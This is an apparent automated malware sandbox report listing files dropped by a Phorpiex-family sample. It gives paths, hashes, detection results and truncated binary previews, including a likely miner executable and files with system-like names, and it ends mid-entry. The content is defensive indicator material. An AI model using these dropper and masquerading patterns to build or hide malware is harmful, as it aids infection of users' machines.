Preview:	..[...y.M...x..3+_[./.C.........L..I.........K0p.Pa..G.j.q..r..>.+"M.(....).....nf.....+.m...8`....@.'V...]_...{.1.&......$..".....L+.'l.5........]1Z.!H.\|...J.!./.=:jr~.2..T..^R..!t.t..3%_./:.p..@..Z-......9.....aS@..T..x.\...:....).'....D.....A...Ut...R-g.Z>..B.....q.5:9..*.y.nz.4.^...y.n..w.6_.....M7.2..p.jJt.#e.z.SW.h....4{.q.../..br.( o....l.......S..u5nw..;.i#:...X<<T.>.c.R.f.z.gz...D.G......:].....]G.=...s...u.`#Zt...9X.w4.8..~.$YJ.<.....0..}.~...,4..S....J...GJwz.b....yt..;..9...C...#.<$............v....@.0.....`../.".8.b.n...,..]..E-.Vp..Yc....Ga:.q.2o.W..O...........,.N.3#@m..y1.....~-I...-..!m..<fa..^a.k=..Fze..Mq./...(.\..R\)...Kw..x..l.M.7L.........D.. ........G+..m..\.E~......X..t:....\|2.E..X......<\..P3,q.D.x.R..G..,~...Ta...Z...~v.{.....z.J[.a..$.y...#..g.R.<....v...\.>....cjn.)?..k.....S..x.P.0....7.@...P..e@....Z.L6....Rv.oe.x.X..OK4......F....o.r'A.8K.%?R...tG..V...B}c7.!8.............=f....&dI$..W..b.O....dh.......}..N.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\5[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	13568
Entropy (8bit):	7.983903730756248
Encrypted:	false
SSDEEP:	384:vxmO6QJvutiOSVu3UG1aPa7VaRNCf9hFsczcDZF:v76avEi/iOPa7ocHgL
MD5:	ED9F31BD89B04A64ED7EAC4F9F869F0F
SHA1:	2696ECA64C0461F82037981F81E176895EC01D19
SHA-256:	20A8FB765DB33C4E77824C30FD6D5ECA24495E3EB9919D2EDEEB80B6B9B7208D
SHA-512:	C160C282A48CD0358B0D3F49910D3C9C99B4F126E34E2494AD4E839EDE7058B79B56F84C020FEE6F7DFA9259853AAE750AF52DCCA6AACF822F7121F26BE04205
Malicious:	false
Preview:	....=....$6K.bMU...{..........qg.....z{V....U..W.....D..W.....}P]s.TK.....3ZW%z...h".......eRb#mH.c,....~ .\|Q...p....[.W.;..!.i"R...AB.tF...js..._K..(.5.j....R,.W...eAD.n.~Z8.:p...^5C.LV....`.......Y......u.W.>t...y..\'J............0.4.?=.H.Tic8..1....;V.S.\|.....T.h...yT.+m.....q.BLk..O...!...{..L..bR.....<.W.P.O...(r....V.c.......=..Tb'..........'+DZ.E"rJ.:..h}...n.w.1..~..z.:/.;fw.....H.`.^.D...\|.....%.......F.......8.M.D........)..A._.u..hi.\:..h.%.~...!a.>.&..cbV.)g.$.V......]...B..g......1.v.@...%....<.+(.{.P..s.....?.'.f#.....[..V.>%}sK..u..~g..W....A0..9....-.#98.w..S..Kf.vZ.g...i<).X.>r.R.j9...[t...6...'G..*.......\.3...+veY..h_9^H......-..'BI..h=..M8....Nz.-n...t>...+......yJ.MpW...PL.k..Py....W.."y....~.&..ecMz..6..s.C!.J`..mS?.2.."..O..R....]N ..x..cx..k.it....9.f#:a.#.C"...Q..l.0p.....{..{......r.tE:..r:.'l.L]!..p.oX...A..d.Oq.........'Fa.\|.yM..{x;...!.++..H......}..b...p..p.8.h.;...q.L..L.a.<.x.<....j....\.:...iQ..zec.^.......<.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1091722296.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5827584
Entropy (8bit):	7.718261688436852
Encrypted:	false
SSDEEP:	98304:ZMknXV8IFUX81qQ6lLYhJ/N0TB4HBDxWcLKamiwPZhsSZLZ1wpxGN:ZBnXV86UiqrlLY/8AW6YZPZf6HGN
MD5:	13B26B2C7048A92D6A843C1302618FAD
SHA1:	89C2DFC01AC12EF2704C7669844EC69F1700C1CA
SHA-256:	1753AD35ECE25AB9A19048C70062E9170F495E313D7355EBBBA59C38F5D90256
SHA-512:	D6AFF89B61C9945002A6798617AD304612460A607EF1CFBDCB32F8932CA648BCEE1D5F2E0321BB4C58C1F4642B1E0ECECC1EB82450FDEC7DFF69B5389F195455
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: bBcZoComLl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse Filename: GGXhCiYFBw.exe, Detection: malicious, Browse Filename: 0NSjUT34gS.exe, Detection: malicious, Browse Filename: 1mqzOM6eok.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f...............&......X................@.............................pY.......Y...`... .............................................. Y.4....PY.......X.X............`Y.0.............................X.(...................."Y.P............................text...P...........................`..`.data.....V.......V.................@....rdata...9....X..:...xX.............@..@.pdata..X.....X.......X.............@..@.xdata........X.......X.............@..@.bss..........Y..........................idata..4.... Y.......X.............@....CRT....`....0Y.......X.............@....tls.........@Y.......X.............@....rsrc........PY.......X.............@....reloc..0....`Y.......X.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\2[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	8960
Entropy (8bit):	7.980118959451248
Encrypted:	false
SSDEEP:	192:8w3f/H9pFkeMpRmPIlHDCEkAH5gWPmEt3TXxl/6LkbgewuNvm:8snHrUVjbHH5g+mEt3z64bdNvm
MD5:	39F45EDB23427EBF63197CA138DDB282
SHA1:	4BE1B15912C08F73687C0E4C74AF0979C17FF7D5
SHA-256:	77FBB0D8630024634880C37DA59CE57D1B38C7E85BDCC14C697DB9E79C24E0DE
SHA-512:	410F6BAAD25B256DAEBFA5D8B8A495429C9E26E7DE767B2A0E6E4A75E543B77DBD0ABCA0335FB1F0D91E49E292B42CEDC6EDD72D25A3C4C62330E2B31C054CC6
Malicious:	false
Preview:	$.g.r5].F.M[..o.I.........5.Eb....L6,.i%.kZ.....8....ePI\|.....<..iq....#.......O@5..U\|{`)...].H........x..-..dR~A.}"2......... +.(..R.m....d...!..(...$..5.t...F.]...<.g"...V.(1}.]C........s3..76..&...Ic...%t..h.I.b.....R(......}..IE...<.....]..C.....9....xi\|........../.....>y..4m..3..hO.....;...<.\|..5.,.0.tA`.J..Nn;.w.es...q.T.._...:<....fb7..J.H.3&. ...f..1.F.G.c..&k..,J..x+..c.`.w....s....~.........(s..F..IT...,....5\.).}..-..@........4.>a.u...e.\..v.=.I.kB..[..Q...2..c.LA.lT..rO.....U.Y..m.j#.u...U..P...>.Y{,...Tk....3.h.,v..)..P.TK3_.+..+....m..NP[..qe.......G9.f..\|........[.-&M~&..14w.._.l.a./.ok...w.M.._...w..^7Rgg....%.Tv...}....T..p...;d.Su..z.FPH...Z....I...pz5...0g..`..l..K\V3...t..r.y.l...2..R.]?cz.m....v....o.......\. ....0.o.N3.a.P..V.=BE\..... _.^hV.f.\..n.$0..q.C........7..BQ.n...}c..../.Yd=.G...-.....T.Sx..&...z.wi...:...,.a..........o.ou....Hn...8....Zx...............F^=R...nU.T.D9.'.W..L.dPi.^`ZBj..2.....z.\.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\4[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	10496
Entropy (8bit):	7.984469394998947
Encrypted:	false
SSDEEP:	192:aAnkxbr7XNTQwFtSiiFh1eBtpQ9dys4Hcbnvsi3i9FS0swDNC6:aAkxbre0gBFh1xdyCjzWd
MD5:	2266F0AECD351E1B4092E82B941211EA
SHA1:	1DCED8D943494AA2BE39CA28C876F8F736C76EF1
SHA-256:	CBBAD0AB02CD973C9C4E73336E3BCD0849AEB2232A7BDBC38F0B50696B5C28C3
SHA-512:	6691CD697BBE7F7A03D9DE33869AAB289D0A1438B4EE194D2047DED957A726B1D3FE93F08E4A0C677018B20E2521AEB021AB1DC4D1A67927604829DDFD9D59AA
Malicious:	false
Preview:	..\|.@vC)...q.9....K.{>...d8..'.s.....J.......Pn..k.V.z...@W....L{..uG.'G1.CL..@...<B..6..;.>hM..\..\|w.B.v.....u.g...OX.%. .h.r9:\|....s..<.6.).g..4GlY...2Bf.5...A..+G....(.T-oE..Z.I23.{..'3...)`...^e7jz/M$s......4....*16..m..frn..DD,......Wa(.2.D..9...........x..........Zk4Da...)?.._h...sA..W.....B2.....cHQ.T....=..U...@.3.}....!...Y.G.C...X{... 4"...&..h.0..'xu..#.c.\|g...L0....)...c..M...]....oL{...:En:?.\|_X.P.........Q@. .3...o.....).u..a..[...I...+....f....Z.M..%. ].2.uz._......Gw....t.0b........Fa....MT.d..2.Y....&....T............M..X...P......}..+.....Op..Q.E.o6R;.P..>8`2.'".....~C..Z_.........,.2g.. $..l....."x...:.h;..H...........`.$-6....._-e...C?.6T..=..q...L...3.&fG)..W..G..@6.X~.%X....%R...C.h..?R...]......f...bU!.PH..h...".......R...j,d.k......e..\....~.h..n(.....,.G...<...u.1....6t......l.....w;..p..;y..rSC....._.M....6.X....h..t.G7zs..HP,e_d.d.c.n..^.M+ct\0j.r.>;......_n.q.>.x.e.z...w...o...%kkw..Fg..A/.cS..Q./=cj.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe

Download File

Process:	C:\Users\user\Desktop\Us051y7j25.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: thcdVit1dX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1082429028.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	true
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Temp\1091722296.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.134070469138298
Encrypted:	false
SSDEEP:	96:vdHiIV5H6c10lqo9ZYAoQdVDCcJ+587tG6AuJxGE9btz2qhRC7tCEOhd1Q:vdHiQ5HV1wr9KA/J+izJxTZtzthyOhd
MD5:	96509AB828867D81C1693B614B22F41D
SHA1:	C5F82005DBDA43CEDD86708CC5FC3635A781A67E
SHA-256:	A9DE2927B0EC45CF900508FEC18531C04EE9FA8A5DFE2FC82C67D9458CF4B744
SHA-512:	FF603117A06DA8FB2386C1D2049A5896774E41F34D05951ECD4E7B5FC9DA51A373E3FCF61AF3577FF78490CF898471CE8E71EAE848A12812FE98CD7E76E1A9CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.Y/.../.../...&.`.-...&.f.....&.p.:....k..".../.......&.w.,...&.b.....Rich/...................PE..L...'V.f..................................... ....@..........................`.......e....@.................................<$.......@.......................P......................................x#..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data........0......................@....rsrc........@....... ..............@..@.reloc.......P.......$..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1239611256.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1091722296.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5827584
Entropy (8bit):	7.718261688436852
Encrypted:	false
SSDEEP:	98304:ZMknXV8IFUX81qQ6lLYhJ/N0TB4HBDxWcLKamiwPZhsSZLZ1wpxGN:ZBnXV86UiqrlLY/8AW6YZPZf6HGN
MD5:	13B26B2C7048A92D6A843C1302618FAD
SHA1:	89C2DFC01AC12EF2704C7669844EC69F1700C1CA
SHA-256:	1753AD35ECE25AB9A19048C70062E9170F495E313D7355EBBBA59C38F5D90256
SHA-512:	D6AFF89B61C9945002A6798617AD304612460A607EF1CFBDCB32F8932CA648BCEE1D5F2E0321BB4C58C1F4642B1E0ECECC1EB82450FDEC7DFF69B5389F195455
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f...............&......X................@.............................pY.......Y...`... .............................................. Y.4....PY.......X.X............`Y.0.............................X.(...................."Y.P............................text...P...........................`..`.data.....V.......V.................@....rdata...9....X..:...xX.............@..@.pdata..X.....X.......X.............@..@.xdata........X.......X.............@..@.bss..........Y..........................idata..4.... Y.......X.............@....CRT....`....0Y.......X.............@....tls.........@Y.......X.............@....rsrc........PY.......X.............@....reloc..0....`Y.......X.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\146916724.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.259790062623363
Encrypted:	false
SSDEEP:	192:0iBbxFJyyHpXQE+FJx34ymFpQ9999999999999999999999999999999999999KI:XxF0yHR+Foy
MD5:	5A0D146F7A911E98DA8CC3C6DE8ACABF
SHA1:	4EC56B14A08C897A5E9E85F5545B6C976A0BE3C1
SHA-256:	BF61E77B7C49CE3346A28D8BC084C210618EA6EC5F3CFA9AE8F4AA4D64E145F1
SHA-512:	6D1526A5F467535D51B7F9B3A7AF2D54512526E2523E3048082277B83B6E1A1F0D7E3C617405898F240AE84A16163BC47886D8541A016B31C51DFADF9DA713E1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,CE.B.E.B.E.B.b.9.M.B.L...F.B.E.C.u.B.L...D.B.L...P.B.L...F.B.L...D.B.RichE.B.................PE..L......g.....................&......_........ ....@..........................p............@.................................<#..x....P.......................`..`...................................p"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...4....0......................@....rsrc........P......................@..@.reloc.......`.......2..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1881231804.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.0125514402992275
Encrypted:	false
SSDEEP:	192:Otk3w0++KjlRC5vVkDlBj9k2cugyJBLCsZ:OEYjlRAGlBj9kSgiLC0
MD5:	CB8420E681F68DB1BAD5ED24E7B22114
SHA1:	416FC65D538D3622F5CA71C667A11DF88A927C31
SHA-256:	5850892F67F85991B31FC90F62C8B7791AFEB3C08AE1877D857AA2B59471A2EA
SHA-512:	BAAABCC4AD5D409267A34ED7B20E4AFB4D247974BFC581D39AAE945E5BF8A673A1F8EACAE2E6783480C8BAAEB0A80D028274A202D456F13D0AF956AFA0110FDF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....=d.........."...................... .....@..... .......................`............@...@......@............... ...............................@..(............................................................................................ ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......."..............@..BH........#.......................................................................0..i.......r...pr...p(......&..r...pr...p(......&..(......&.. ....(....~.....(.....((....r:..p(....(......&...(........4...................%........(../........<.#_.......0..:.......s.......o......o.....(....o......o......o.....(....&..&............66.......0..\..................rt..p....s.....(.........+6........o....o....r...p(....(...+.2...o....o.......X.......i2............r...p.........(....(.....

C:\Users\user\AppData\Local\Temp\21324.scr

Download File

Process:	C:\Users\user\Desktop\Us051y7j25.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\21324.scr, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2314627202.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.151089744220859
Encrypted:	false
SSDEEP:	384:M2moXxWtTFRyGMdMdMdMdMdMdMdMdMP/F2:MJoi6g
MD5:	0C37EE292FEC32DBA0420E6C94224E28
SHA1:	012CBDDDADDAB319A4B3AE2968B42950E929C46B
SHA-256:	981D724FEEBC36777E99513DC061D1F009E589F965C920797285C46D863060D1
SHA-512:	2B60B571C55D0441BA0CFC695F9DB5CD12660EBEC7EFFC7E893C3B7A1C6CB6149DF487C31B8D748697E260CBC4AF29331592B705EA9638F64A711C7A6164628B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0..WQ..WQ..WQ..p...]Q..^)S.TQ..WQ..jQ..^)U.UQ..^)C.BQ..^)D.TQ..^)Q.VQ..RichWQ..........................PE..L......f..................................... ....@..........................p......xn....@..................................&..x....P.......................`..x....................................&..@............ ...............................text...d........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........P.......6..............@..@.reloc.. ....`.......:..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3336719498.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	true
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14qh4nm0.p5f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1sz3rpw4.dzv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c3hm42o.ld0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hl3jjxm.oha.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uadpr33.h0x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ugba5jg.bxw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
